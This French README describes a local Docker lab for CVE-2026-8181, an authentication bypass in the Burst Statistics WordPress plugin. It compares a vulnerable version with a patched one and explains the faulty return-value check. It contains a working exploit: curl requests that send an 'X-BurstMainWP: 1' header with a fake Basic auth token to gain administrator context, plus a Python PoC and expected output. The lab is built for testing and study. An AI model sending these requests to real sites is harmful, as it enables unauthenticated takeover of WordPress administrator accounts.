# Docker lab démontrant la contournement d'authentification CVE-2026-8181 dans le plugin WordPress Burst Statistics. Compare les versions vulnérable et corrigée avec un PoC à impact minimal pour illustrer une authentification inappropriée dans les requêtes API REST.
Laboratoire Docker local uniquement pour CVE-2026-8181, un contournement d'authentification dans le plugin WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.
Ce laboratoire compare une version vulnérable du plugin à la version corrigée et utilise un PoC à impact minimal pour prouver la différence sans créer d'utilisateurs, téléverser de fichiers ni modifier l'état de WordPress.
Plugin affecté : Burst Statistics – Privacy-Friendly WordPress Analytics
Versions affectées : 3.4.0 à 3.4.1.1
Version corrigée : 3.4.2
Type de vulnérabilité : Contournement d'authentification / Authentification incorrecte
Impact : Un attaquant non authentifié peut usurper l'identité d'un administrateur pendant la durée d'une requête à l'API REST s'il connaît un nom d'utilisateur administrateur valide.
Dans ce laboratoire :
vuln exécute Burst Statistics 3.4.1.1patched exécute Burst Statistics 3.4.2X-BurstMainWP: 1| Service | Description | URL |
|---|---|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL pour WordPress vulnérable | Interne uniquement |
db_patched | MySQL pour WordPress corrigé | Interne uniquement |
seed | Conteneur de configuration WP-CLI à usage unique | Interne uniquement |
Le service seed installe WordPress, crée l'administrateur du laboratoire et active Burst Statistics dans les deux environnements.
Nom d'utilisateur de l'administrateur du laboratoire :
labadmin
Le PoC utilise intentionnellement un mauvais mot de passe pour prouver le contournement.
Burst Statistics inclut un chemin d'authentification proxy lié à MainWP. Lorsqu'une requête à l'API REST inclut cet en-tête :
X-BurstMainWP: 1
Burst délègue l'authentification à MainWP_Proxy::is_mainwp_authenticated().
Dans la version vulnérable, la fonction lit les informations d'authentification Basic contrôlées par l'attaquant, extrait le nom d'utilisateur et le mot de passe, puis les transmet au cœur de WordPress :
$is_valid = wp_authenticate_application_password( null, $username, $password );
Le bug se situe dans la vérification de la valeur de retour.
3.4.1.1Simplifié à partir de includes/Frontend/class-mainwp-proxy.php :
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
Le code vulnérable ne rejette que WP_Error. Cependant, wp_authenticate_application_password() peut renvoyer null ou une autre valeur qui n'est pas un utilisateur lorsque l'authentification n'a pas réellement réussi. Comme null n'est pas un WP_Error, la vérification est franchie.
Ensuite, le plugin recherche le nom d'utilisateur fourni et appelle :
wp_set_current_user( $user->ID );
Cela amène WordPress à traiter la requête actuelle à l'API REST comme émanant de cet utilisateur. Si le nom d'utilisateur appartient à un administrateur, les vérifications de capacités de WordPress voient un administrateur pour le reste de la requête.
La version corrigée corrige la vérification d'authentification en exigeant un véritable objet utilisateur authentifié avant de continuer.
3.4.2Conceptuellement, le correctif est :
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
Le changement important est qu'une simple valeur de retour « sans erreur » ne suffit plus. Le résultat de l'authentification doit être un véritable objet \WP_User.
Cela bloque le chemin vulnérable où null contournait l'ancienne vérification is_wp_error().
Le laboratoire démontre une preuve en lecture seule en utilisant :
/wp/v2/users/me?context=edit
Ce point de terminaison suffit à montrer si WordPress considère la requête comme authentifiée.
L'impact dans le monde réel peut être plus élevé que cette preuve de laboratoire. Si un attaquant peut usurper l'identité d'un administrateur pour une requête à l'API REST, il peut être en mesure d'accéder à des points de terminaison WordPress privilégiés. Dans les configurations WordPress courantes, l'accès administrateur peut mener à une prise de contrôle persistante du site via la création de comptes, les mots de passe d'application, l'installation de plugins, la modification du thème ou d'autres actions administratives.
Ce dépôt évite intentionnellement ces chemins destructeurs.
docker compose up -d --build
Attendez que le service seed à exécution unique se termine :
docker compose logs seed
Sortie attendue du service seed :
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Installez la dépendance Python :
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Exécutez le PoC contre le service vulnérable :
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
Résultat attendu pour le service vulnérable :
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
Exécutez le même PoC contre le service corrigé :
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
Résultat attendu pour le service corrigé :
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
Générez un faux jeton d'authentification Basic :
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
Requête de référence sans les en-têtes de contournement :
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Attendu :
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Tentative de contournement :
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Attendu :
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
Exécutez la même tentative de contournement contre le service corrigé :
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
Attendu :
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Le service vulnérable montre clairement le changement de comportement :
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
Le service corrigé rejette à la fois les tentatives non authentifiées et les tentatives de contournement :
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
Ce PoC est intentionnellement à impact minimal :
Utilisez ce laboratoire uniquement dans votre propre environnement Docker local.